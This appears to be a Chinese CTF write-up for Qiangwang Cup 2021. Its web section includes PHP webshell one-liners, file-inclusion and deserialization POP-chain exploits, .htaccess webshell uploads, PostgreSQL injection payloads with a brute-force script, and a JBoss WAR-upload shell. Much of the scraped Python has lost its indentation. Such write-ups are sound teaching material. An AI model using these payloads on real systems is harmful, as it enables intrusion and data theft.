强网杯2021WP

阅读量342833

|评论2

|

发布时间 : 2021-06-16 10:30:51

 

WEB

0x01 Hard_Penetration

shiro反序列化

拿到shell进去以后,发现flag的权限是www-data的,而我们本身权限很低。

发现内网8005端口有服务,baocms,代码审计

Tudou\Lib\barcodegen\html\image.php

目录下有任意文件包含

然后在传递参数,在上面的shell下,写个shell在tmp目录下

echo "<?php system('cat /flag');?>" > a.barcode.php

然后访问:http://10.0.14.128:8005/Tudou/Lib/barcodegen/html/image.php?code=/../../../../../../../../tmp/a&t=1&r=1&rot=1&text=1&f1=1&f2=1&o=1&dpi=1&a1=1&a2=1

0x02 pop_master

使用wget获取class.php.txt,通过语法phply拿到语法树。然后用脚本解析

# -*- coding: utf-8 -*-
# 正则匹配eval链
"""
Created on Sat Jun 12 10:13:45 2021

@author: Hypixel
"""

import re
class classpart:
def __init__ (self,classname):
self.classname=classname
self.funcs=[]
class func:
def __init__(self,funcname,param):
self.funcname=funcname
self.cango=[]
self.para = param
self.flag = 1
self.end=0
ansc = ['a' for i in range(10000)]
ansf = ['a' for i in range(10000)]
ansp = ['a' for i in range(10000)]
fi = open("D:\\ans.txt","w")
#for i in range()        

def write2php(ansc,ansf,ansp):
    fp = open("D:\\flag.php", "w");
for k in range(len(ansc)):
if(ansc[k] == 'a'):
break
print(ansc[k]+' '+ansf[k])
for k in range(len(ansc)):
if(ansc[k] == 'a'):
break
        fp.writelines('$a' + str(k+1) +' = new '+ ansc[k]+'()'+'\n')
for k in range(len(ansp)):
if(ansc[k] == 'a'):
break
        fp.writelines(ansp[k]+'\n')
    fp.close()

def findonefunc(classarray,funcname,depth):
for c in classarray:
for f in c.funcs:
if(funcname == f.funcname):
if(f.flag == 0):
return
if(f.end):
#print(funcname)
if(funcname == 'tLpuAE'):
                        write2php(ansc,ansf,ansp)
                    fi.write(funcname+'\n')
#print(ansc[depth])
return
                ansp[depth-1] = f.para
                ansc[depth-1] = c.classname
for cango in f.cango:
                    ansf[depth] = cango
                    findonefunc(classarray, ansf[depth], depth+1)

with open('./class.php') as f:
    content=f.read()

classarray=[]
for i in re.findall("class (.*?){",content):
    classarray.append(classpart(i))

for i in classarray:
#寻找类
    p=re.compile(r"class "+i.classname+r"\{(.*?)\}\n\n\nc",re.S)
    tmp=re.findall(p,content)
if not len(tmp)==1:
print("Error in "+i.classname)
raise ValueError(tmp)
    classcontent=tmp[0]#类的内容
    funcnames=re.findall(r"public function (.*?)\{",classcontent)#找到函数名
for x in funcnames:
        t=x.split("(")
        x=t[0]
        param=t[1][:-1]
        nowfunc=func(x,param)
        i.funcs.append(nowfunc)
        p=re.compile(r"public function " + x + r".*?\{(.*?)\n\n\}",re.S)
        tmp1=re.findall(p,classcontent)#每个函数内容
if not len(tmp1)==1:
print("Error in "+i+":"+x)
raise ValueError(tmp1)
        funccontent=tmp1[0]#函数内容
if 'eval' in funccontent:
            nowfunc.end=1
#if ';\n\t\teval'  in funccontent:
#    nowfunc.end=0
#elif ('}\n\t\teval' in funccontent) and ('for' in funccontent):
#    nowfunc.end=0

'''if(nowfunc.end == 0):
            if('for' in funccontent):
                if()
            #if('= ' + param) in funccontent:
            #if((param + ' = ' + param) in funccontent) or ((param + '= ' + param) in funccontent):
                #print(param + ' = ' + param)
                #print("123")
                nowfunc.flag = 0
                #print(nowfunc.funcname)
        '''
if((param +'=' in funccontent) and not ('.' in funccontent)):
#print(nowfunc.funcname)
            nowfunc.flag = 0
if((param + ' =' in funccontent) and not('.' in funccontent)):
#print(nowfunc.funcname)
            nowfunc.flag = 0
        p=re.compile(r"\$this-\>.*?-\>(.*?)\(",re.S)
        cango=re.findall(p,funccontent)
for y in cango:
            nowfunc.cango.append(y.split('>')[-1])
#print(nowfunc.cango)


a=input(">")
C = []
#print(len(classarray))
for c in classarray:
for f in c.funcs:
if(f.funcname == a):
            C.append(c)
break


ansc[0] = C[0].classname
ansf[0] = a
for f in C[0].funcs:
if(f.funcname == a):
for i in f.cango:
            ansf[1] = i
            findonefunc(classarray, ansf[1], 2)

直接include//class.php

下面是pop链

//pop.php
<?php
include("class.php");

$a1 = new rrB0WS();
$a2 = new T4GDAZ();
$a3 = new mGmm1l();
$a4 = new ezKORI();
$a5 = new HMkI93();
$a6 = new YOrMZ7();
$a7 = new vuUqtB();
$a8 = new fs9GQe();
$a9 = new QumdiY();
$a10 = new n265yG();
$a11 = new MS4yrg();
$a12 = new x0QL0p();
$a13 = new FbbqrK();
$a14 = new h6gn8u();
$a15 = new MCGo5W();
$a16 = new FQppeP();
$a17 = new gMoCqO();
$a18 = new tTz13X();
$a19 = new dTBOgv();
$a20 = new uXBFzw();
$a21 = new SwtBrC();
$a22 = new XyoDnK();
$a1->lysEtIg = $a2;
$a2->cvirWwt = $a3;
$a3->GgzEmwo = $a4;
$a4->Hu4uqZ6 = $a5;
$a5->u1lTFey = $a6;
$a6->PRhtfhx = $a7;
$a7->FLVUrQG = $a8;
$a8->CHX5Asb = $a9;
$a9->xoeBSGa = $a10;
$a10->CxVCLpp = $a11;
$a11->OE3G2SB = $a12;
$a12->w0vi1yZ = $a13;
$a13->uQvPqer = $a14;
$a14->vF6P5gg = $a15;
$a15->YI5muvF = $a16;
$a16->rt5nhnc = $a17;
$a17->sd5cgIu = $a18;
$a18->dgUyoy2 = $a19;
$a19->ugX0RAB = $a20;
$a20->Gb1Qkis = $a21;
$a21->wApnGE2 = $a22;

print(urlencode(serialize($a1)));
?>

0x03 赌徒(强网先锋)

www.zip源码泄露

然后

<meta charset="utf-8">
<?php

class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';

    public function __construct(){

    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';

    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        var_dump($this->file['filename']);
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';

    public function __get($name){
        $function = $this->a;
        return $function();
    }

    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

$a = new Start;
$b= new Info;
$c = new Room;
//$c->ffiillee=123;
$d=new Room();
$d->filename='/flag';
$c->a=$d;
$c->filename=$d;
$b->file['filename']=$c;
$a->name=$b;
$a->flag=$b;
$s=urlencode(serialize($a));
echo $s;
?>

0x04 寻宝 (强网先锋)

ppp[number1]=123123%00&ppp[number2]=1e9&ppp[number3]=453200835&ppp[number4]=0e12222&ppp[number5]={"key":0001}

第二层misc:文件管理器-高级搜索-文件内容KEY2

0x05 EASYWEB

漏洞点在http://47.104.136.46/files/

下载到hint文件

Try to scan 35000-40000 ^_^.
All tables are empty except for the table where the username and password are located
Table: employee

nmap扫描完之后是 36842

sqlmap跑注入

password=123&username=admin' or 1=extractvalue(0x0a,concat(0x0a,(select database())));--

数据库是 easyweb 表是 employee 用户名是 admin 密码99f609527226e076d668668582ac4420

然后去上传文件.htaccess

AddHandler php5-script .ant
.ant文件 <?php passthru($_GET['222']);

第二种思路这里:

上去.php不会被过滤 并且上传两次之后 会被自动重命名。1.php依次地推

然后

随后上传frpc 开内网代理 扫描端口 发现8005 存在Jboos服务

http://172.17.0.2:8006/jmx-console/

参考:https://blog.csdn.net/weixin_43999372/article/details/88364032
jboss4.x漏洞

上传war包到upload/xxx

解析生成jsp马上传 root getshell读flag

0x06 WhereIsUWebShell

cookie参数反序列化:

O:7:"myclass":2:{s:5:"hello";O:5:"Hello":1:{s:3:"qwb";s:36:"e2a7106f1cc8bb1e1318df70aa0a3540.php";}}

需要url编码 需要根据读取文件名修改s:后的长度,实现任意文件读取。

//e2a7106f1cc8bb1e1318df70aa0a3540.php
<?php
include "bff139fa05ac583f685a523ab3d110a0.php";
include "45b963397aa40d4a0063e0d85e4fe7a1.php";
$file = isset($_GET['bc5aaf8e-ddab-44d7-be06-c99ebabedce0'])?$_GET['bc5aaf8e-ddab-44d7-be06-c99ebabedce0']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
    PNG($file);
}
include($file);
$res = @scandir($_GET['f810c25d-3c55-44e3-9ece-edcaf122287c']);
if(isset($_GET['f810c25d-3c55-44e3-9ece-edcaf122287c'])&&$_GET['f810c25d-3c55-44e3-9ece-edcaf122287c']==='/tmp'){
    $somthing = GenFiles();
    $res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>
//bff139fa05ac583f685a523ab3d110a0.php
<?php
function PNG($file)
{
    if(!is_file($file)){die("我从来没有见过侬");}
    $first = imagecreatefrompng($file);
    if(!$first){
        die("发现了奇怪的东西2333");
    }
    $size = min(imagesx($first), imagesy($first));
    unlink($file);
    $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
    if ($second !== FALSE) {
        imagepng($second, $file);
        imagedestroy($second);//销毁,清内存
    }
    imagedestroy($first);
}
?>
//45b963397aa40d4a0063e0d85e4fe7a1.php
<?php

function GenFiles(){
    $files = array();
    $str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $len=strlen($str)-1;
    for($i=0;$i<10;$i++){
        $filename="php";
        for($j=0;$j<6;$j++){
            $filename  .= $str[rand(0,$len)];
        }
        // file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
        $files[] = $filename;
    }
    return $files;
}

?>

发现可以任意文件读取(实际上只在两个有权限的地方/tmp和/var/www/html/下可以),可以获得文件夹下文件名。

这里是一个gd2的图片马,网上抄个脚本就可以了。

PNG函数猜测是一个文件上传入口 存在include包含。发现一个问题频繁的上传文件会导致502报错,但是tmp目录下的文件将会保留。但是,还有php://filter/string.strip_tags/resource=passwd这个是php7.x版本的漏洞包含溢出

还有一个suid提权,和flag的寻找。

0x07 easy_sql

username 的trick绕过 username[]=admin

下面就是绕过密码的校验,

image-20210613235426530

然后这个题目 是postgrepsql数据库。使用以下脚本可以获取相关数据

0'and(select/**/case/**/when(substr((select version()),{i},1)='{char}')then(SELECT/**/'dem0'/**/FROM/**/PG_SLEEP(5))else/**/'0'/**/end)='dem0';--

信息如下:

#database app
#table users hint
#hint 内容 its "nothing"
#version PostgreSgreSQL 10.17

这里是后面爆破的信息不齐全 后面一半的hint和version没有爆破完全。然后发现user库是空的。那就只能我自己查我自己,然后我说是我自己密码正确,但是password注入了 还怎么相等呢?题目没有原型链,那就只有sql了。要达到的效果就是SQL 查询语句和 SQL 查询结果完全相等。因为是三个等号

借鉴:https://mineta.tistory.com/56

' UNION SELECT REPLACE(REPLACE('" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS cid, 1337 AS passcode -- "OR 1 limit 3,1#',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS cid, 1337 AS passcode -- "OR 1 limit 3,1#') AS cid, 1337 AS passcode -- 'OR 1 limit 3,1#

他的本质可以理解循环嵌套了两层,用了两个replace,最后又来一遍。

作为标准开始写我们自己的。

replace可以用下面这个函数

' union SELECT REPLACE(REPLACE(' union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS dem0-- ',CHAR(34),CHAR(39)),CHAR(36),'union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS dem0') AS dem0--

因为要绕过滤。本地跑一下就知道这个语句发现 我们没有char和replace。将各自他们在这里起的作用进行调试 把三个特殊字符 ' "``.处理一下。

然后

' union SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS dem0-- ',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS dem0-- ') AS dem0--

首先char(36)和char(39)就不用问怎么绕过了把 (hint都给了),借助hint,然后发现还有个$首先我们要明白这个$有什么作用,首先它的作用就是占位,也就是蹲坑。那么我们可以同样使用没有出现过的字符代替.这样就能达到相同的结果.

我们将源语句提取出来

 ' union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0--

然后开始套娃

f"""' union SELECT REPLACE(translate('" union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0-- ',(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),'" union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0-- ') AS dem0-- """

注意前面的' 还有空格。贴上一个脚本 方便测试

import sys
import time as t
import string as s
import requests as req


url= ""

payloads = s.printable
res = ''
#database app
#table users
#its "nothing"
#version PostgreSgreSQL 10.17
for i in range(5,50):
    for char in payloads:
        #payload = f"""0'and(select/**/case/**/when(substr((select version()),{i},1)='{char}')then(SELECT/**/'dem0'/**/FROM/**/PG_SLEEP(5))else/**/'0'/**/end)='dem0';--"""
        payload = f"""' union SELECT REPLACE(translate('" union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0-- ',(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),'" union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0-- ') AS dem0-- """
        data = {
            'username[]' : 'admin',
            'password' : payload,
        }
        try:
            print(payload)
            start = int(t.time())
            r = req.post(url=url, data=data)
            print(r.text)
            time = int(t.time()) - start
            if time >= 2:
                res += char
                print(res) 
                break
        except Exception as e:
            print(e)
            pass

 

RE

0x01 ezmath

因为精度不够,采用夹逼法求爆破flag

#include<iostream>
#include<Windows.h>
using namespace std;

unsigned char dbl_4020[] =
{
  0x39, 0xCA, 0x59, 0xBD, 0x3F, 0xAD, 0x19, 0x3F, 0x95, 0xCA,
  0x21, 0x10, 0x63, 0xEC, 0x1A, 0x3F, 0xA1, 0xFF, 0xF2, 0x2D,
  0x29, 0x1A, 0x18, 0x3F, 0x9E, 0x12, 0x72, 0xF8, 0x06, 0x95,
  0x1C, 0x3F, 0x3A, 0xB4, 0xA9, 0xAB, 0xC6, 0x2A, 0x1D, 0x3F,
  0xA2, 0xBA, 0x40, 0x57, 0xD5, 0x68, 0x1A, 0x3F, 0x3A, 0xB4,
  0xA9, 0xAB, 0xC6, 0x2A, 0x1D, 0x3F, 0xFB, 0x48, 0xC4, 0x94,
  0xB9, 0x72, 0x1B, 0x3F, 0x14, 0xEC, 0x18, 0xAF, 0xFF, 0x2B,
  0x1D, 0x3F, 0x7D, 0xF7, 0x73, 0x32, 0x5F, 0x71, 0x1B, 0x3F,
  0x14, 0xEC, 0x18, 0xAF, 0xFF, 0x2B, 0x1D, 0x3F, 0x43, 0x06,
  0xCE, 0x02, 0x63, 0x92, 0x1C, 0x3F, 0x3A, 0xB4, 0xA9, 0xAB,
  0xC6, 0x2A, 0x1D, 0x3F, 0x06, 0x02, 0x10, 0xB7, 0x70, 0x94,
  0x1C, 0x3F, 0x53, 0x04, 0xB9, 0x04, 0x72, 0x2E, 0x1D, 0x3F,
  0x35, 0xCB, 0x77, 0xB1, 0x13, 0x65, 0x1A, 0x3F, 0x56, 0x6D,
  0xE7, 0x6E, 0x78, 0x2A, 0x1D, 0x3F, 0x82, 0x63, 0x2D, 0xDD,
  0xCC, 0x91, 0x1C, 0x3F, 0x33, 0xC1, 0xAA, 0x74, 0x11, 0x33,
  0x16, 0x3F
};

unsigned char constant[] = {
    0x69, 0x57, 0x14, 0x8B, 0x0A, 0xBF, 0x05, 0x40
};

double v3;
BYTE v4[] = { 0xe9, 0x4, 0xf0, 0x7, 0x8, 0xa8, 0x35, 0x3f };

void main()
{
    double e = *(double*)constant;
    for (size_t j = 0; j < 19; j++)
    {
        for (int i = 0x2022;i <= 0x8080;i++)
        {
            double q = *(double*)(dbl_4020 + 8 * j);
            if ((e-e/(i+1))/i <= q )
            {
                cout << hex << i-1;
                break;
            }
        }
    }
}

0x02 StandOnTheGiants

jadx静态分析,关键函数是native的check

使用了openssl库的大数模块实现RSA

变种base64

编码中存在14位’+’’-‘,所以共2^14种解密可能

dfs 枚举所有路径,其次暴力decode即可

#include<bits/stdc++.h>
using namespace std;
vector<int>add,cut;
int lena;
string Enc;
string Ori;
string New;
void dfs(string s,int index){
if(index == lena - 1){
cout<<(s+'=')<<endl;
return ;
    }
string tmp;
if(Enc[index] == '+'){
tmp = s+Ori[add[0]];
dfs(tmp,index+1);
tmp = s+Ori[add[1]];
dfs(tmp,index+1);
    }
else if(Enc[index] == '-'){
tmp = s + Ori[cut[0]];
dfs(tmp,index+1);
tmp = s + Ori[cut[1]];
dfs(tmp,index+1);
    }
else{
tmp = s + Ori[New.find(Enc[index])]; 
dfs(tmp,index+1);
    }
return ;
}
int main(){
freopen("res.txt","w",stdout);
Enc = "bUloKWheCJ-vVFhAr;ARxjfbiTSBXbJVorm;;cBzcLA+ZSW+@TM@LuIYyxW,vP/,HdlB;Kl+GKPmQfAqCjPlD;UYjoeI-scAjQEb-g-UcxEDmm@tqTKxqWsmTi-Zydv+GMCktXPHvmG=";
Ori = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
New = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@+-";
for(int i=0;i<(int)New.length();i++){
if(New[i] == '+') add.push_back(i);
else if(New[i] == '-') cut.push_back(i);
    }
lena = Enc.length();
string tmp="";
dfs(tmp,0);
return 0;
}

通过n分解出p,q,e为0x10001,遍历所有base64可能,并rsa解密,直到找到含有flag字样的语句

from binascii import unhexlify
from base64 import b64decode
from gmpy2 import *
from Crypto.Util.number import *

table = "0C 0E 0F 0C 79 0F 7B 79 79 79 78 05 7F 79 04 79 7B 7B 0E 0A 04 7C 7B 7B 0D 0E 0D 79 78 0F 0D 08 7F 05 09 0B 78 7F 08 7E 78 7E 7E 09 0D 7B 7C 05 7C 7C 04 7E 0F 7C 05 08 7E 78 0E 78 04 04 0F 0C 04 0E 78 05 0A 0E 7F 0F 7F 7E 0B 0B 0A 79 7C 7F 78 0F 7C 7E 0E 78 78 04 79 79 0F 0E 7F 0E 7C 04 78 79 04 78 7E 0D 7E 0E 7E 0A 09 09 08 0B 0B 0E 7B 08 09 08 08 09 0B 04 7F 0A 0F 0A 79 79 0B 7B 7F 7E 0D 0E 7F 0C 7F 7B 04 08 79 0D 0E 7C 0C 0E 7E 0D 0E 0B 05 0B 09 08 0A 0B 0A 0B 0E 0D 7E 0A 78 7C 7F 7B 08 78 0A 7C 7F 08 7B 7C 0F 0A 7F 04 09 7C 79 78 0A 78 0C 78 0F 0E 7F 7E 7E 0B 08 79 0F 7C 0A 79 78 79 0C 7E 08 7F 0E 0B 09 7F 08 0C 3D".split(' ')
table = [int(i, 16) for i in table]
for i in range(len(table)):
    table[i] ^= 0x3D
a = ''.join(map(lambda x:"%02X" % x, table))
a = unhexlify(a).strip(b'\x00').decode()

with open("res.txt") as f:
    res = f.read().split('\n')

n = int(a, 16)
p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367
e = 0x10001
phi = (p-1) * (q-1)
d = invert(e, phi)
for i in res:
    try:
        c = bytes_to_long(b64decode(i))
        tmp = long_to_bytes(pow(c, d, n))
        if b'flag' in tmp or b'qwb' in tmp or b'ctf' in tmp or b'FLAG' in tmp or b'QWB' in tmp:
            print(tmp.decode())
    except:
        pass

 

MISC

0x01 cipherman

volatility 查看memery,直接搜索txt文件

发现下面的文件

Device\HarddiskVolume2\Users\RockAndRoll\Desktop\BitLocker 복구 키 168F1291-82C1-4BF2-B634-9CCCEC63E9ED.txt

打开翻译

BitLocker 드라이브 암호화 복구 키 

 복구 키는 BitLocker로 보호되는 드라이브에서 데이터를 검색하기 위해 사용됩니다.

이 키가 올바른 복구 키인지 확인하려면 복구 화면에 표시된 것과 ID를 비교하십시오.

복구 키 ID: 168F1291-82C1-4B

전체 복구 키 ID: 168F1291-82C1-4BF2-B634-9CCCEC63E9ED

BitLocker 복구 키:

221628-533357-667392-449185-516428-718443-190674-375100

是一个bitlocker文件卷加密,使用diskginus打开输入恢复健即可打开,发现readme文件,就是flag

BitLocker磁碟机加密恢复密钥

恢复键用来从BitLocker保护下的驱动器中获取数据。

对比ID和恢复屏幕中显示的恢复键,可以确定这是一个有效的恢复键。

恢复密钥ID: 168F1291-82C1-4B

整体恢复密钥ID: 168F1291-82C1-4BF2-B634-9CCCEC63E9ED

BitLocker恢复键:

221628 - 533357 - 667392 - 449185 - 516428 - 718443 - 190674 - 375100

0x02 MISC Blue Teaming

解压后hex打开,发现7z文件头,解压得到mem.dump

volatility 查看文件,查找有关powershell的相关信息,最终搜索到powershell日志文件

evtx格式文件,将其导出,发现两端powershell代码,如下图,结果,发现上面的代码就是下面的结果,无果,winhex查看文件,结合联想到进程“申请注册表”,发现一段代码如下

尝试提交 ~

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication

0x03 ExtremlySlow

先从流量中提取latest文件,需要按照content-range字段重新组合,得到latest之后,使用010editor打开发现是pyc,检查了magic number应该是3.10以上的版本,修改unpyc,添加了GEN_START、修复字典相关字节码处理,成功反编译出源码,分析源码可知需要输入26个字节的数据,打印RC4的密钥m得到stegosaurus字符串,推测应该是pyc隐写,使用stegosaurus工具,适配3.10后即可解出26字节数据。输入后打印c,即得到flag

pyc

import sys
from hashlib import sha256

MOD = 256


def KSA(key):
    key_length = len(key)
# create the array "S"
    S = list(range(MOD))  # [0,1,2, ... , 255]
    j = 0
for i in range(MOD):
        j = (j + S[i] + key[i % key_length]) % MOD
        S[i], S[j] = S[j], S[i]  # swap values

return S


def PRGA(S):
    i = 0
    j = 0
while True:
        i = (i + 1) % MOD
        j = (j + S[i]) % MOD

        S[i], S[j] = S[j], S[i]  # swap values
        K = S[(S[i] + S[j]) % MOD]
yield K


def RC4(key):
    S = KSA(key)
return PRGA(S)

def xor(p, stream):
return bytes(map(lambda x: x ^ stream.__next__(), p))

if __name__ == '__main__':
    w = b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f'
    e = b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~'
    b = b'geo'
    s = b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141'
    t = b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1"
    m = {2: 115, 8: 97, 11: 117, 10: 114}
    n = {3: 119, 7: 116, 9: 124, 12: 127}
    m |= {x : x ^ n[x] for x in n}
    m |= ((i.bit_count(), i) for i in b)
    stream = RC4(list(map(lambda x: x[1], sorted(m.items()))))
print(xor(w, stream).decode())
    p = sys.stdin.buffer.read(26)
    e = xor(e, stream)
    c = xor(p, stream)
if sha256(c).digest() == s:
print(xor(t, stream).decode())
else:
print(e.decode())

0x04 ISO1995

一个ISO文件,通过观察知道新的flagfolder的时间戳是错的。按道理讲,应该是指向oldflag的相应字符。每一个oldflag文件里有个字节。

观察后,发现时间戳fffffff后的数值为不同的,可以修改依据进行排序。排序后,将相应指向的字符拼起来,然后可以在其中发现flag。

其中from.txt是存取ffffffff后的两个字节,可以手动提取,很方便,如图

相应的排序后转化为字符

file = open("tail","rb")

src = file.read()
out = []
length = len(src)
for i in range(0,length):
    if src[i] != 0:
        out.append(src[i])

for i in out:
    print(chr(i),end='')


two = []
f = open("from.txt","r").read().split()
for i in f:
    two.append(int(i,16))

for i in two:
    print(chr(out[i]),end='')

0x05 EzTime

NTFS log文件,使用工具NTFS Log Tracker V1.2.exe将题目给的两个文件打开,能够导出一个文件LogFile.csv

找到这个文件,访问时间早于修改时间

提交文件名即可

2286333 {45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png {45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png 2021/5/23 0:28 2021/5/23 0:32 2021/5/23 0:28 Update Resident Value 0x25 0

 

CRY

guess_game

预计30秒左右得到flag

每个不同的guess值会让第一个序列和第二个序列出现差距的特征不一样,所以在本地运行多次统计出固定的特征值即可,把接受的的数据和本地运行的数据进行对比即可确定guess值
from pwn import*
from hashlib import*
import random
import string
import hashlib
import sys
from collections import deque
import sys
class generator:
    def __init__(self, key: list, iv: list, hint: bool, k=0, m=0):
        self.NFSR = deque()
        self.LFSR = deque()

        for i in range(80):
            self.NFSR.append(key[i])

        for i in range(64):
            self.LFSR.append(iv[i])

        for i in range(64, 80):
            self.LFSR.append(1)

        self.clock()

        if hint:
            s = self.NFSR + self.LFSR
            for i in range(k, k + m):
                s[i] ^= 1
            self.NFSR = deque(list(s)[:80])
            self.LFSR = deque(list(s)[80:])

    def clock(self):
        for i in range(160):
            zi = self.PRGA()
            self.NFSR[79] ^= zi
            self.LFSR[79] ^= zi

    def PRGA(self):
        x0 = self.LFSR[3]
        x1 = self.LFSR[25]
        x2 = self.LFSR[46]
        x3 = self.LFSR[64]
        x4 = self.NFSR[63]

        hx = x1 ^ x4 ^ (x0 & x3) ^ (x2 & x3) ^ (x3 & x4) ^ (x0 & x1 & x2) ^ (x0 & x2 & x3) \
             ^ (x0 & x2 & x4) ^ (x1 & x2 & x4) ^ (x2 & x3 & x4)

        zi = (self.NFSR[1] ^ self.NFSR[2] ^ self.NFSR[4] ^ self.NFSR[10] ^ self.NFSR[31] ^ self.NFSR[43] ^ self.NFSR[
            56]) ^ hx

        fx = self.LFSR[62] ^ self.LFSR[51] ^ self.LFSR[38] ^ self.LFSR[23] ^ self.LFSR[13] ^ self.LFSR[0]

        gx = self.LFSR[0] ^ self.NFSR[62] ^ self.NFSR[60] ^ self.NFSR[52] ^ self.NFSR[45] ^ self.NFSR[37] \
             ^ self.NFSR[33] ^ self.NFSR[28] ^ self.NFSR[21] ^ self.NFSR[14] ^ self.NFSR[9] ^ self.NFSR[0] \
             ^ (self.NFSR[63] & self.NFSR[60]) ^ (self.NFSR[37] & self.NFSR[33]) ^ (self.NFSR[15] & self.NFSR[9]) \
             ^ (self.NFSR[60] & self.NFSR[52] & self.NFSR[45]) ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21]) \
             ^ (self.NFSR[63] & self.NFSR[45] & self.NFSR[28] & self.NFSR[9]) ^ (
                     self.NFSR[60] & self.NFSR[52] & self.NFSR[37] & self.NFSR[33]) \
             ^ (self.NFSR[63] & self.NFSR[60] & self.NFSR[21] & self.NFSR[15]) ^ (
                     self.NFSR[63] & self.NFSR[60] & self.NFSR[52] & self.NFSR[45] & self.NFSR[37]) \
             ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21] & self.NFSR[15] & self.NFSR[9]) ^ (
                     self.NFSR[52] & self.NFSR[45] & self.NFSR[37] & self.NFSR[33] & self.NFSR[28] & self.NFSR[21])
        self.LFSR.popleft()
        self.LFSR.append(fx)
        self.NFSR.popleft()
        self.NFSR.append(gx)
        return zi

def f():
    m1=[]
    m2=[]
    for kk in range(160):
        r=(2**160)-1
        s=(2**160)-1
        for j in range(20):
            guess=kk
            k = guess // 2
            m = guess % 10
            if m == 0:
                m = 10
            key = bin(random.getrandbits(80))[2:].zfill(80)
            key = list(map(int, key))
            iv = bin(random.getrandbits(64))[2:].zfill(64)
            iv = list(map(int, iv))
            a = generator(key, iv, False)
            k1 = []
            for i in range(160):
                k1.append(a.PRGA())
            k1 = int("".join(list(map(str, k1))), 2)
            b = generator(key, iv, True, k, m)
            k2 = []
            for i in range(160):
                k2.append(b.PRGA())
            k2 = int("".join(list(map(str, k2))), 2)
            r=r&(k1^k2)
            s=s&(((2**160)-1)-k1^k2)
        r=bin(r)[2:].zfill(160)
        s=bin(s)[2:].zfill(160)
        l=[]
        for p in range(160):
            if(r[p]=='1'):
                l.append(p)
        m1.append(l)
        l=[]
        for p in range(160):
            if(s[p]=='1'):
                l.append(p)
        m2.append(l)
    return m1,m2
m1,m2=f()
def fd(s,m1,m2):
    flag1=1
    for i in range(160):
        flag=1
        tar=m1[i]
        for j in tar:
            if(s[j]!='1'):
                flag=0
                break
        tar=m2[i]
        for j in tar:
            if(s[j]!='0'):
                flag=0
                break
        if(flag):
            return i
def att(s,f):
    c=[]
    for i in range(26):
        c.append(chr(i+0x41))
        c.append(chr(i+0x61))
    for i in range(10):
        c.append(chr(0x30+i))
    for i in c:
        for j in c:
            for k in c:
                for m in c:
                    t=i+j+k+m
                    if(sha256(t.encode()+s).hexdigest()==f.decode()):
                        return t
sh=remote("39.105.139.103","10002")
a=sh.recv()
sh.sendline(att(a[14:30],a[35:99]))
for i in range(32):
    print(sh.recv().decode())
    print(sh.recvuntil("your:\n").decode())
